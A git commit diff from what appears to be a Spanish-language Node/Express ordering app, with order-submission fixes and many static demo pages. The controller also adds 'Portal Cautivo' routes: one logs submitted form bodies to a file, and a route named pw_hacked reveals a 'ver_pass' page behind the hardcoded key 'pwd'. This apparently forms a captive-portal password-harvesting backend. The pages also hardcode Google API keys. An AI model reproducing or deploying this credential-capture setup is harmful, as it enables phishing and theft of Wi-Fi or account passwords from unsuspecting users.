Correcion al enviar pedidos. al servidor. Generacion de Mensajes SnackBar

This commit is contained in:
Pablinux
2025-05-17 04:03:12 -05:00
parent b7c2505166
commit 09c5b0384d
37 changed files with 8537 additions and 28 deletions

View File

@@ -86,6 +86,7 @@ app.get('/pruebaJson',function(req,res){
//archivos staticos
app.use(express.static(path.join(__dirname, 'public')));
//app.set('trust proxy', true);
//inicia servidor
app.listen(app.get('port'),() =>{

View File

@@ -156,12 +156,12 @@ controlador.app_pedidos_clientes = (req, res) => {
//CONSULTA CLIENTE CLOUD C.I-RUC => ruta:/busquedaSRI
var data_url0 = 'http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php';
var data_url1 = "https://xsystem.ddns.net/app/clientes_cloud.php";
var data_url1 = "https://siax-system.net/app/clientes_cloud.php";
var data_url2 = "http://sheyla2.dyndns.info/SRI/SRI.php";
var data_url3 = "http://192.168.10.100:8000/test_post";
var arrayUrl = [
"http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php",
"https://xsystem.ddns.net/api/clientes_cloud.php",
"https://siax-system.net/api/clientes_cloud.php",
"http://sheyla2.dyndns.info/SRI/SRI.php",
"http://192.168.10.100:8000/test_post",
"solo testing"

View File

@@ -243,7 +243,8 @@ controlador.recibe_pedidos = async (req, res) => {
PedUsoPrdct_iva: json.iva,
PedUsoPrdct_origen: json.origen
};
ingreso_pedido(req, pedido, json.items);
var id_ped = ingreso_pedido(req, pedido, json.items);
res.json({ id: id_ped, message: "Pedido Ingresado" });
//await console.log(await ingreso_pedido(req,pedido));
//await ingreso_detalle(req, id_ped, json.items);
};
@@ -262,10 +263,12 @@ async function ingreso_pedido(req, pedido_data, items) {
ingreso_detalle(req, lastInsert, items)
//res.json({ sision: "ORDEN INGRESADA" });
//res.redirect('/clientes');//redireciona a la ruta inical de la app
return lastInsert;
}
});
});
}
async function ingreso_detalle(req, id_ped, data) {
//console.log("ID Pedido: "+id_ped);
for (var i = 0; i < data.length; i++) {
@@ -329,5 +332,30 @@ controlador.recibe_datos = (req, res) => {
//res.render('panel_control');
};
//********** Portal Cautivo ********//
controlador.portal = (req, res) => {
console.log(req.body);
res.render('portal');
};
const {saveToFile} = require('../scripts/File_io');
controlador.portal_log = (req, res) => {
console.log(req.body);
saveToFile(req.body);
res.send(200);
};
//query => key: '1234567890',
controlador.pw_hacked = (req, res) => {
var hostname = req.headers.host;
var key = req.query.key;
console.log(req.query);
if(key==='pwd'){
res.render('ver_pass');
}else{
res.render('no_autorizado');
}
};
module.exports = controlador;

View File

@@ -0,0 +1,17 @@
<!doctype html>
<html>
<head>
<title>Search</title>
</head>
<body>
<div id="buttons">
<label> <input id="query" value='cats' type="text"/><button id="search-button" onclick="search()">Search</button></label>
</div>
<div id="search-container">
</div>
<script src="https://www.gstatic.com/external_hosted/jquery2.min.js"></script>
<script src="auth.js"></script>
<script src="search.js"></script>
<script src="https://apis.google.com/js/client.js?onload=googleApiClientReady"></script>
</body>
</html>

58
src/public/Html/auth.js Normal file
View File

@@ -0,0 +1,58 @@
// The client ID is obtained from the Google API Console
// at https://console.developers.google.com/.
// If you run this code from a server other than http://localhost,
// you need to register your own client ID.
var OAUTH2_CLIENT_ID = '361238658-ipvtecve83v9hmp037el45ebao4guqmm.apps.googleusercontent.com';
var OAUTH2_SCOPES = [
'https://www.googleapis.com/auth/youtube'
];
// Upon loading, the Google APIs JS client automatically invokes this callback.
googleApiClientReady = function() {
gapi.auth.init(function() {
window.setTimeout(checkAuth, 1);
});
}
// Attempt the immediate OAuth 2.0 client flow as soon as the page loads.
// If the currently logged-in Google Account has previously authorized
// the client specified as the OAUTH2_CLIENT_ID, then the authorization
// succeeds with no user intervention. Otherwise, it fails and the
// user interface that prompts for authorization needs to display.
function checkAuth() {
gapi.auth.authorize({
client_id: OAUTH2_CLIENT_ID,
scope: OAUTH2_SCOPES,
immediate: true
}, handleAuthResult);
}
// Handle the result of a gapi.auth.authorize() call.
function handleAuthResult(authResult) {
if (authResult && !authResult.error) {
// Authorization was successful. Hide authorization prompts and show
// content that should be visible after authorization succeeds.
$('.pre-auth').hide();
$('.post-auth').show();
loadAPIClientInterfaces();
} else {
// Make the #login-link clickable. Attempt a non-immediate OAuth 2.0
// client flow. The current function is called when that flow completes.
$('#login-link').click(function() {
gapi.auth.authorize({
client_id: OAUTH2_CLIENT_ID,
scope: OAUTH2_SCOPES,
immediate: false
}, handleAuthResult);
});
}
}
// Load the client interfaces for the YouTube Analytics and Data APIs, which
// are required to use the Google APIs JS client. More info is available at
// https://developers.google.com/api-client-library/javascript/dev/dev_jscript#loading-the-client-library-and-the-api
function loadAPIClientInterfaces() {
gapi.client.load('youtube', 'v3', function() {
handleAPILoaded();
});
}

View File

@@ -0,0 +1,11 @@
.pantalla{
margin: 0;
padding: 0;
height: 90%;
box-sizing: border-box;
}
.cubo{
position: relative;
}

View File

@@ -0,0 +1,4 @@
var listaRep = ['https://www.youtube.com/watch?v=wDk99yR4r8U&ab_channel=HombresG-Topic',''];
function controlYt(){
var rep = document.getElementById('ytplayer');
}

5524
src/public/Html/cv.html Normal file

File diff suppressed because one or more lines are too long

422
src/public/Html/cv2.html Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,494 @@
<html>
<head>
<head>
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/css/materialize.min.css">
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/js/materialize.min.js"></script>
<!--Google Map-->
<script async defer
src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD_mGoJG4jAVG95O5BZuFe1eskSlWn5Q1M&callback=initMap">
</script>
</head>
</head>
<body class="container">
<ul class="collapsible" data-collapsible="accordion">
<!-- Datos web -->
<li>
<div class="collapsible-header">
<i class="material-icons">developer_board</i>Datos Web
</div>
<div class="collapsible-body">
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
<div class="input-field col s6">
<input id="NombreEmpre" type="text" class="validate">
<label for="NombreEmpre">Nombre</label>
</div>
<div class="input-field col s6">
<input id="Slogan" type="text" class="validate">
<label for="Slogan">Slogan</label>
</div>
<div class="input-field col s6">
<input id="QuienesSomos" type="text" class="validate">
<label for="QuienesSomos">Quienes Somos</label>
</div>
<div class="input-field col s6">
<input id="Mision" type="text" class="validate">
<label for="Mision">Mision</label>
</div>
<div class="input-field col s6">
<input id="Vision" type="text" class="validate">
<label for="Vision">Vision</label>
</div>
<div class="input-field col s6">
<input id="Orientacion" type="text" class="validate">
<label for="Orientacion">Orientacion</label>
</div>
</div>
</div>
</div>
</li>
<!-- Diseño -->
<li>
<div class="collapsible-header">
<i class="material-icons">view_quilt</i>Diseño
</div>
<div class="collapsible-body">
<div id="conten_pedidoCliente">
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
<div class="input-field col s12">Colores</div>
<div class="input-field col s6">
<input id="Primario" type="text" class="validate">
<label for="Primario">Primario</label>
</div>
<div class="input-field col s6">
<input id="Secundario" type="text" class="validate">
<label for="Secundario">Secundario</label>
</div>
<div class="input-field col s6">
<input id="Tipo_Fuente" type="text" class="validate">
<label for="Tipo_Fuente">Tipo de Fuente</label>
</div>
<div class="input-field col s6 file-field ">
<div>
<!-- <i class="material-icons left">folder_special</i> -->
<input id="logotipo" type="file" class="validate">
</div>
<div class="file-path-wrapper">
<input id="logotipo" class="file-path validate" type="text" placeholder="Buscar Logotipo">
</div>
</div>
<div class="input-field col s6 file-field ">
<div>
<!-- <i class="material-icons left">folder_special</i> -->
<input id="Isotipo" type="file" class="validate">
</div>
<div class="file-path-wrapper">
<input id="Isotipo" class="file-path validate" type="text" placeholder="Buscar Isotipo">
</div>
</div>
</div>
</div>
</div>
</div>
</li>
<!-- Datos de la empresa -->
<li>
<div class="collapsible-header">
<i class="material-icons">store_mall_directory</i>Datos de la Empresa
</div>
<div class="collapsible-body">
<div id="conten_DatosEmpresa">
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
<div class="input-field col s6">
<input id="ruc" type="text" class="validate">
<label for="ruc">RUC</label>
</div>
<div class="input-field col s6">
<input id="telefono" type="text" class="validate">
<label for="telefono">Telefono</label>
</div>
<div class="input-field col s12">Geolocalizacion
<hr>
</div>
<div class="input-field col s1">
<div id="localizacion">
<a id="obtener" href="#mapmodel"
class="modal-trigger blue z-depth-1 waves-effect waves-light btn-floating">
<i class="material-icons">location_on</i>
</a>
</div>
</div>
<div class="input-field col s3">
<input id="longitud" type="text" class="validate" readonly>
<span class="helper-text" data-error="wrong" data-success="right">Longitud</span>
</div>
<div class="input-field col s3">
<input id="latitud" type="text" class="validate" readonly>
<span class="helper-text" data-error="wrong" data-success="right">Latitud</span>
</div>
<div class="input-field col s3">
<input id="exactitud" type="text" class="validate" readonly>
<span class="helper-text" data-error="wrong" data-success="right"></span>Exactitud</span>
</div>
<div class="input-field col s12">Plataformas
<hr>
</div>
<div class="input-field col s2">
<input id="WEB" type="checkbox" />
<label for="WEB">WEB </label>
</div>
<div class="input-field col s2">
<input id="Whatsapp" type="checkbox" class="validate">
<label for="Whatsapp">Whatsapp </label>
</div>
<div class="input-field col s2">
<input id="Telegram" type="checkbox" class="validate">
<label for="Telegram">Telegram </label>
</div>
<div class="input-field col s2">
<input id="Weechat" type="checkbox" class="validate">
<label for="Weechat">Weechat </label>
</div>
<div class="input-field col s2">
<input id="OtrasPla" type="text" class="validate">
<label for="OtrasPla">Otras</label>
</div>
<div class="input-field col s12">Redes Sociales
<hr>
</div>
<div class="input-field col s2">
<input id="Facebook" type="checkbox" class="validate">
<label for="Facebook">Facebook </label>
</div>
<div class="input-field col s2">
<input id="Whatsapp" type="checkbox" class="validate">
<label for="Whatsapp">Whatsapp </label>
</div>
<div class="input-field col s2">
<input id="Instagram" type="checkbox" class="validate">
<label for="Instagram">Instagram </label>
</div>
<div class="input-field col s2">
<input id="twitter" type="checkbox" class="validate">
<label for="twitter">twitter </label>
</div>
<div class="input-field col s2">
<input id="OtrasRedes" type="text" class="validate">
<label for="OtrasRedes">Otras</label>
</div>
<div class="input-field col s6">
<input id="Direccion" type="text" class="validate">
<label for="Direccion">Direccion</label>
</div>
<div class="input-field col s6">
<input id="horario" type="text" class="validate">
<label for="horario">Horario de Atencion</label>
</div>
</div>
</div>
</div>
</li>
<!-- Datos Cobro -->
<li>
<div class="collapsible-header">
<i class="material-icons">attach_money</i>Datos de Cobro de la Empresa hacia los Clientes
</div>
<div class="collapsible-body">
<div id="conten_DatosCobro">
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
<div class="input-field col s12">Cuenta Bancaria 1
<hr>
</div>
<div class="input-field col s6">
<input id="Corriente1" name="group1" type="radio" class="validate with-gap">
<label for="Corriente1">Cta. Corriente </label>
</div>
<div class="input-field col s6">
<input id="Ahorros1" name="group1" type="radio" class="validate with-gap">
<label for="Ahorros1">Cta. Ahorros </label>
</div>
<div class="input-field col s3">
<input id="NombreCta1" type="text" class="validate">
<label for="NombreCta1">Nombre </label>
</div>
<div class="input-field col s3">
<input id="Cuenta1" type="text" class="validate">
<label for="Cuenta1">Nª Cuenta</label>
</div>
<div class="input-field col s3">
<input id="Email1" type="email" class="validate">
<label for="Email1">Email</label>
</div>
<div class="input-field col s3">
<input id="Banco1" type="text" class="validate">
<label for="Banco1">Nombre del Banco</label>
</div>
<div class="input-field col s12">Cuenta Bancaria 2
<hr>
</div>
<div class="input-field col s6">
<input id="Corriente2" name="group1" type="radio" class="validate with-gap">
<label for="Corriente2">Cta. Corriente </label>
</div>
<div class="input-field col s6">
<input id="Ahorros2" name="group1" type="radio" class="validate with-gap">
<label for="Ahorros2">Cta. Ahorros </label>
</div>
<div class="input-field col s3">
<input id="NombreCta2" type="text" class="validate">
<label for="NombreCta2">Nombre </label>
</div>
<div class="input-field col s3">
<input id="Cuenta2" type="text" class="validate">
<label for="Cuenta2">Nª Cuenta</label>
</div>
<div class="input-field col s3">
<input id="Email2" type="email" class="validate">
<label for="Email2">Email</label>
</div>
<div class="input-field col s3">
<input id="Banco2" type="text" class="validate">
<label for="Banco2">Nombre del Banco</label>
</div>
<div class="input-field col s12">Pagos Electronicos
<hr>
</div>
<div class="input-field col s3">
<input id="PayPal" type="checkbox" class="validate">
<label for="PayPal">PayPal </label>
</div>
<div class="input-field col s3">
<input id="Payphone" type="checkbox" class="validate">
<label for="Payphone">Payphone </label>
</div>
<div class="input-field col s3">
<input id="Exchaege" type="checkbox" class="validate">
<label for="Exchaege">Exchaege </label>
</div>
<div class="input-field col s3">
<input id="OtrosPaEl" type="text" class="validate">
<label for="OtrosPaEl">Otras</label>
</div>
<div class="input-field col s12">Envios
<hr>
</div>
<div class="input-field col s4">
<input id="CostoEnvio" type="text" class="validate">
<label for="CostoEnvio">Costo de Envio</label>
</div>
<div class="input-field col s4">
<input id="TiempoEnvio" type="text" class="validate">
<label for="TiempoEnvio">Tiempo de Envio</label>
</div>
<div class="input-field col s4">
<input id="Cobertura" type="text" class="validate">
<label for="Cobertura">Cobertura</label>
</div>
<div class="input-field col s12">Metodo de Envio
<hr>
</div>
<div class="input-field col s4">
<input id="Servientrega" type="checkbox" class="validate">
<label for="Servientrega">Servientrega </label>
</div>
<div class="input-field col s4">
<input id="TramacoExpress" type="checkbox" class="validate">
<label for="TramacoExpress">TramacoExpress </label>
</div>
<div class="input-field col s4">
<input id="Otras" type="text" class="validate">
<label for="Otras">Otras</label>
</div>
</div>
</div>
</div>
</li>
<!-- Correos -->
<li>
<div class="collapsible-header">
<i class="material-icons">account_circle</i>Correos
</div>
<div class="collapsible-body">
<p>
</p>
</div>
</li>
</ul>
<button class="btn waves-effect waves-light" onclick="EnviarDatos()" type="submit" name="action">Guardar
<i class="material-icons right">send</i>
</button>
<div id="mapmodel" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>map div inside model:</h4>
<div id="googleMap2" style="width:500px;height:380px;"></div>
</div>
<div class="modal-footer">
<a href="#" class="red modal-action modal-close waves-effect waves-green btn-flat">Got it</a>
</div>
</div>
<script type="text/javascript">
function iniciar() {
var boton = document.getElementById('obtener');
boton.addEventListener('click', obtener, false);
}
function obtener() { navigator.geolocation.getCurrentPosition(mostrar, gestionarErrores); }
function mostrar(posicion) {
var latitud = posicion.coords.latitude;
var longitud = posicion.coords.longitude;
var exactitud = posicion.coords.accuracy;
document.getElementById('latitud').value = latitud;
document.getElementById('longitud').value = longitud;
document.getElementById('exactitud').value = exactitud + " metros";
cargarMapa(latitud, longitud)
}
function cargarMapa(latitud, longitud) {
var mapProp = {
center: new google.maps.LatLng(latitud, longitud),
zoom: 14,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
var map2 = new google.maps.Map(document.getElementById("googleMap2"), mapProp);
var marker = new google.maps.Marker({
position: { lat: latitud, lng: longitud },
mapProp: mapProp,
draggable: true,
});
}
google.maps.event.addDomListener(window, 'load', cargarMapa);
$(document).ready(function () {
//MAKE SURE YOU CALL .leanModal METHOD THIS WAY.
//ELSE MODAL MAP WILL NOT SHOW PROPERLY.
$('.modal-trigger').leanModal({
ready: function () {
var map2 = document.getElementById("googleMap2");
google.maps.event.trigger(map2, 'resize');
}
});
});
function gestionarErrores(error) {
alert('Error: ' + error.code + ' ' + error.message + '\n\nPor favor compruebe que está conectado ' +
'a internet y habilite la opción permitir compartir ubicación física');
}
window.addEventListener('load', iniciar, false);
function EnviarDatos(){
//var NomEmpre = document.getElementById('NombreEmpre').value;
//var Slog = document.getElementById('Slogan').value;
//var QuiSo = document.getElementById('QuienesSomos').value;
//var Misi = document.getElementById('Mision').value;
//var Visi = document.getElementById('Vision').value;
//var Orie = document.getElementById('Orientacion').value;
//var ColPrim = document.getElementById('Primario').value;
//var ColSecu = document.getElementById('Secundario').value;
//var TiFu = document.getElementById('Tipo_Fuente').value;
//var Logo = document.getElementById('Logotipo').value;
//var Isot = document.getElementById('Isotipo').value;
//var ruc = document.getElementById('RUC').value;
//var telefono = document.getElementById('Telefono').value;
//var longitud = document.getElementById('longitud').value;
//var latitud = document.getElementById('latitud').value;
//var exactitud = document.getElementById('exactitud').value;
var web = document.getElementById('W').value;
var whatsapp = document.getElementById('Whatsapp').value;
var telegram = document.getElementById('Telegram').value;
var weechat = document.getElementById('Weechat').value;
var otras = document.getElementById('OtrasPla').value;
//var DaWeb = {"Nombre":NomEmpre,"Slogan":Slog};
console.log(web)
}
</script>
</body>
</html>

130
src/public/Html/menu.css Normal file
View File

@@ -0,0 +1,130 @@
@import url('http://fonts.googleapis.com/css?family=Poppins:100,200,300,400,500,600,700,800,900');
*
{
margin: 0;
padding: 0;
box-sizing: border-box;
font-family:'Poppins',sans-serif;
}
:root{
--clr:#222327;
--clr0:#050505;
}
body{
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
/*background: var(--clr);*/
}
.container{
display: flex;
justify-content:center;
align-items: center;
width: 420px;
height:600px;
background: var(--clr)
}
.navigation{
width: 400px;
height:70px;
background: #fff;
border-radius: 10px;
/*position: relative;*/
}
.navigation ul{
display: flex;
width: 350px;
}
.navigation ul li{
position: relative;
list-style: none;
width: 70px;
height:70px;
z-index: 1;
}
.navigation ul li a{
position: relative;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
width:100%;
text-align: center;
font-weight: 500;
}
.navigation ul li a .icon{
position: relative;
display: block;
line-height: 75px;
font-size: 1.5em;
text-align: center;
transition: 0.5s;
color: var(--clr);
}
.navigation ul li.active a .icon{
transform: translateY(-35px);
}
.navigation ul li a .text{
position: absolute;
color: var(--clr);
font-weight: 400;
font-size: 0.75em;
letter-spacing: 0.05em;
transition: 0.5s;
opacity: 0;
transform: translateY(20px);
}
.navigation ul li.active a .text{
opacity: 1;
transform: translateY(10px);
}
.indicator{
position: absolute;
top: 42.5%;
width: 70px;
height: 70px;
background: #29fd53;
border-radius: 50%;
border: 6px solid var(--clr);
transition: 0.5s;
}
.indicator::before{
content: '';
position: absolute;
top: 50%;
width: 22px;
height: 22px;
left: -22px;
/*background: #f00;*/
border-top-right-radius: 20px;
box-shadow: 0px -10px 0 0 var(--clr);
}
.indicator::after{
content: '';
position: absolute;
top: 50%;
width: 22px;
height: 22px;
right: -22px;
/*background: #f00;*/
border-top-left-radius: 20px;
box-shadow: 0px -10px 0 0 var(--clr);
}
.navigation ul li:nth-child(1).active ~ .indicator{
transform: translateX(calc(70px*0));
}
.navigation ul li:nth-child(2).active ~ .indicator{
transform: translateX(calc(70px*1));
}
.navigation ul li:nth-child(3).active ~ .indicator{
transform: translateX(calc(70px*2));
}
.navigation ul li:nth-child(4).active ~ .indicator{
transform: translateX(calc(70px*3));
}
.navigation ul li:nth-child(5).active ~ .indicator{
transform: translateX(calc(70px*4));
}

78
src/public/Html/menu.html Normal file
View File

@@ -0,0 +1,78 @@
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<meta charset="utf-8">
<title></title>
<link rel="stylesheet" type="text/css" href="menu.css">
<link rel="stylesheet" type="text/css" href="contenedor.css">
</head>
<body>
<div class="container">
<div class="cubo">
<div>
<span style="--i:0;"></span>
<span style="--i:1;"></span>
<span style="--i:2;"></span>
<span style="--i:3;"></span>
</div>
</div>
<div class="navigation">
<ul>
<li class="list active">
<a href="#">
<span class="icon">
<ion-icon name="home-outline"></ion-icon>
</span>
<span class="text">Inicio</span>
</a>
</li>
<li class="list">
<a href="#">
<span class="icon">
<ion-icon name="chatbubble-outline"></ion-icon>
</span>
<span class="text">Soporte</span>
</a>
</li>
<li class="list">
<a href="#">
<span class="icon">
<ion-icon name="barcode-outline"></ion-icon>
</span>
<span class="text">Sinc</span>
</a>
</li>
<li class="list">
<a href="#">
<span class="icon">
<ion-icon name="finger-print-outline"></ion-icon>
</span>
<span class="text">Acceder</span>
</a>
</li>
<li class="list">
<a href="#">
<span class="icon">
<ion-icon name="settings-outline"></ion-icon>
</span>
<span class="text">Ajustes</span>
</a>
</li>
<div class="indicator"></div>
</ul>
</div>
</div>
<script>
const list = document.querySelectorAll('.list');
function activeLink(){
list.forEach((item)=>
item.classList.remove('active'));
this.classList.add('active');
}
list.forEach((item)=>
item.addEventListener('click',activeLink));
</script>
<script type="module" src="https://unpkg.com/ionicons@5.5.2/dist/ionicons/ionicons.esm.js"></script>
<script nomodule src="https://unpkg.com/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
</body>
</html>

View File

@@ -0,0 +1,42 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/css/materialize.min.css">
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/js/materialize.min.js"></script>
</head>
<body>
<input type="text" id="coords" />
<div id="mapa">
</div>
<script>
//Funcion principal
function initMap() {
var coord = { lat: -34.5956145, lng: -58.4431949 };
var map = new google.maps.Map(document.getElementById('mapa'), {
zoom: 10,
center: coord
});
var marker = new google.maps.Marker({
position: coord,
map: map,
draggable: true
});
document.getElementById('coords').Value=coord;
}
window.addEventListener('load',initMap,false);
</script>
<!--Google Map-->
<script async defer src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD_mGoJG4jAVG95O5BZuFe1eskSlWn5Q1M&callback=initMap"></script>
</body>
</html>

View File

@@ -0,0 +1,43 @@
<html>
<head>
<style>
body {
background: rgb(40, 66, 83);
}
</style>
<script>
var lista_img = [
"https://refinariadedados.com.br/wp-content/uploads/2019/10/timser.gif.webp",
"http://tuderechoasaber.com.do/wp-content/uploads/2019/02/blockchain.gif",
"https://exceljet.net/sites/default/files/styles/original_with_watermark/public/images/charttypes/column%20chart.png?itok=CLQDjIt5",
"https://i.pinimg.com/originals/c8/d4/0e/c8d40e9ec4ffd4f3af527eb40ba80462.gif"
];
window.onload = slider_img;
var c=0;
function slider_img() {
//var img = document.getElementById('chart_images');
var img = document.getElementById('img_chart');
//document.getElementById("ID_del_div").innerHTML='<img src="./direccion_imagen.jpg" />';
img.innerHTML = '<img src="' + lista_img[c] + '" width="400" height="250"/>';
console.log("Num Imagenes "+lista_img.length+" index "+c);
if(c<lista_img.length-1){
//console.log(lista_img[c]+" index="+c);
c++;
}else{
//console.log("reinicio");
c=0;
}
}
window.setInterval(slider_img, 5000);
//window.setTimeout
</script>
</head>
<body>
<h2>Metas de Produccion</h2>
<div id="img_chart"></div>
</body>
</html>

View File

@@ -0,0 +1,55 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.ctrl_display {
display: block;
}
.ctrlVol_fondo {
right: 10%;
top: 7px;
height: 110px;
width: 50px;
background: rgb(179, 174, 174);
border-radius: 5px;
}
.ctrlVol_base {
background: rgba(0, 0, 100, .5);
top: 20px;
}
.ctrlVol_base input {
}
.circulo {
border-radius: 50%;
}
.girar90g {
ms-transform: rotate(-90deg);
/* IE 9 */
-webkit-transform: rotate(-90deg);
/* Chrome, Safari, Opera */
}
</style>
</head>
<body>
<div class="ctrlVol_fondo">
<div class="ctrlVol_base girar90g">
<span>.......................</span>
</div>
<input type="range" min="0" max="100" class="girar90g">
</div>
</div>
</body>
</html>

217
src/public/Html/rep.html Normal file
View File

@@ -0,0 +1,217 @@
<html>
<head>
<style>
@font-face {
font-family: "DS-DIGI";
src: url("DS-DIGI.TTF");
}
#video-placeholder{
/*display: none;*/
width: 0.5px;
height:0.5px;
}
button{
background: transparent;
border:none;
}
button:focus{
outline: none;
}
.parlante{
margin-top:50px;
width: 100px;
height: 100px;
display: -webkit-flex; /* Safari */
-webkit-align-items: center; /* Safari 7.0+ */
display: flex;
align-items: center;
text-align: center;
display: -webkit-flex; /* Safari */
-webkit-justify-content: space-around; /* Safari 6.1+ */
display: flex;
justify-content: space-around;
}
.parlante img{
position: absolute;
}
.container-button{
position: absolute;
}
.container-button button{
cursor: pointer;
color: #7b7b7c;
}
.clockdate-wrapper {
max-width:350px;
width:100%;
text-align:center;
border-radius:5px;
margin:0 auto;
margin-top:15%;
}
#clock{
font-family: "DS-DIGI";
font-size:20px;
text-shadow:0px 0px 1px #fff;
color:#fff;
padding-bottom: 4px;
}
#clock span {
/*color:#888;*/
/*text-shadow:0px 0px 1px #333;*/
font-size:20px;
position:relative;
/*top:-27px;
left:-10px;*/
}
</style>
<script src="https://use.fontawesome.com/785f5fdffd.js"></script>
<Title>parlante</Title>
</head>
<body onload="startTime()">
<div class="parlante">
<img id="parlante" src="parlante.png" width="100px">
<div class="container-button">
<div class="clockdate-wrapper">
<div id="clock"></div>
</div>
<button id="play" ></button>
<button id="mute-toggle"><i class="fa fa-volume-up" aria-hidden="true"></i></button>
</div>
</div>
<input id="txtmusica" type="text" name="" value="">
<button type="button" background="yellow" name="button" onclick="añadirLista()">agregar</button>
<div id="listaRep">
<textarea id="ListaY" name="ListaY" rows="8" cols="80"></textarea>
</div>
<!-- -->
<div id="video-placeholder"></div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="http://cdnjs.cloudflare.com/ajax/libs/highlight.js/8.6/highlight.min.js"></script>
<script src="https://www.youtube.com/iframe_api"></script>
<script type="text/javascript">
function añadirLista(){
var ListMusica = new Array();
var nuevoitem = document.getElementById('txtmusica').value;
ListMusica.push = nuevoitem.value;
console.log(ListMusica[0], nuevoitem)
}
var player;
var playif;
var idVideo;
var listaRepY=['8E4Y37YSedk','jdeq6lJXpj0','OCPC19HXwu0'];
function onYouTubeIframeAPIReady() {
idVideo = listaRepY[0];
console.log(idVideo);
playif=true;
player = new YT.Player('video-placeholder', {
videoId: idVideo ,
playerVars: {
autoplay: 1,
loop: 1,
color: 'white',
playlist:idVideo
},
events: {
onReady: initialize
}
});
ifplay($('#play'));
}
function initialize(){
// Update the controls on load
updateTimerDisplay();
updateProgressBar();
// Clear any old interval.
clearInterval(time_update_interval);
// Start interval to update elapsed time display and
// the elapsed part of the progress bar every second.
time_update_interval = setInterval(function () {
updateTimerDisplay();
updateProgressBar();
console.log("hola")
}, 1000)
}
$('#play').on('click', function () {
if(!playif){
console.log('play')
$(this).html('<i class="fa fa-pause" aria-hidden="true"></i>');
player.playVideo();
}else{
$(this).html('<i class="fa fa-play" aria-hidden="true"></i>');
console.log('pause',$(this))
player.pauseVideo();
}
playif=!playif;
});
function ifplay(boton){
console.log(playif)
console.log(boton);
if(playif){
console.log('play');
$(boton).html('<i class="fa fa-pause" aria-hidden="true"></i>');
}else{
$(boton).html('<i class="fa fa-play" aria-hidden="true"></i>');
}
player.setVolume(0);
}
$('#pause').on('click', function () {
player.pauseVideo();
});
$('#mute-toggle').on('click', function() {
var mute_toggle = $(this);
if(player.isMuted()){
player.unMute();
mute_toggle.html('<i class="fa fa-volume-up" aria-hidden="true"></i>');
}
else{
player.mute();
mute_toggle.html('<i class="fa fa-volume-off" aria-hidden="true"></i>');
}
});
function startTime() {
var today = new Date();
var hr = today.getHours();
var min = today.getMinutes();
var sec = today.getSeconds();
var ap = (hr < 12) ? "<span>AM</span>" : "<span>PM</span>";
hr = (hr == 0) ? 12 : hr;
hr = (hr > 12) ? hr - 12 : hr;
//Add a zero in front of numbers<10
min = checkTime(min);
sec = checkTime(sec);
document.getElementById("clock").innerHTML = hr + " : " + min + "<br> " + sec+" "+ap;
// document.getElementById("clock").innerHTML = hr + " : " + min ;
var time = setTimeout(function(){ startTime() }, 500);
}
function checkTime(i) {
if (i < 10) {
i = "0" + i;
}
return i;
}
</script>
</body>
</html>

View File

@@ -0,0 +1,15 @@
<html>
<head>
<script src="https://www.youtube.com/iframe_api"></script>
<script src="https://cdn.rawgit.com/labnol/files/master/yt.js"></script>
</head>
<body>
<div data-video="Qo9GyytH17o"
data-autoplay="1"
data-loop="1"
id="Qo9GyytH17o">
</div>
</body>
</html>

18
src/public/Html/search.js Normal file
View File

@@ -0,0 +1,18 @@
// After the API loads, call a function to enable the search box.
function handleAPILoaded() {
$('#search-button').attr('disabled', false);
}
// Search for a specified string.
function search() {
var q = $('#query').val();
var request = gapi.client.youtube.search.list({
q: q,
part: 'snippet'
});
request.execute(function(response) {
var str = JSON.stringify(response.result);
$('#search-container').html('<pre>' + str + '</pre>');
});
}

View File

@@ -0,0 +1,17 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- CSS only -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-iYQeCzEYFbKjA/T2uDLTpkwGzCiq6soy8tYaI1GyVh/UjpbCx/TYkiZhlZB6+fzT" crossorigin="anonymous">
<!-- JavaScript Bundle with Popper -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-u1OknCvxWvY5kfmNBILK2hRnQC3Pr17a+RTT6rIHI7NnikvbZlHgTPOOmMi466C8" crossorigin="anonymous"></script>
</head>
<body>
</body>
</html>

View File

@@ -0,0 +1,124 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
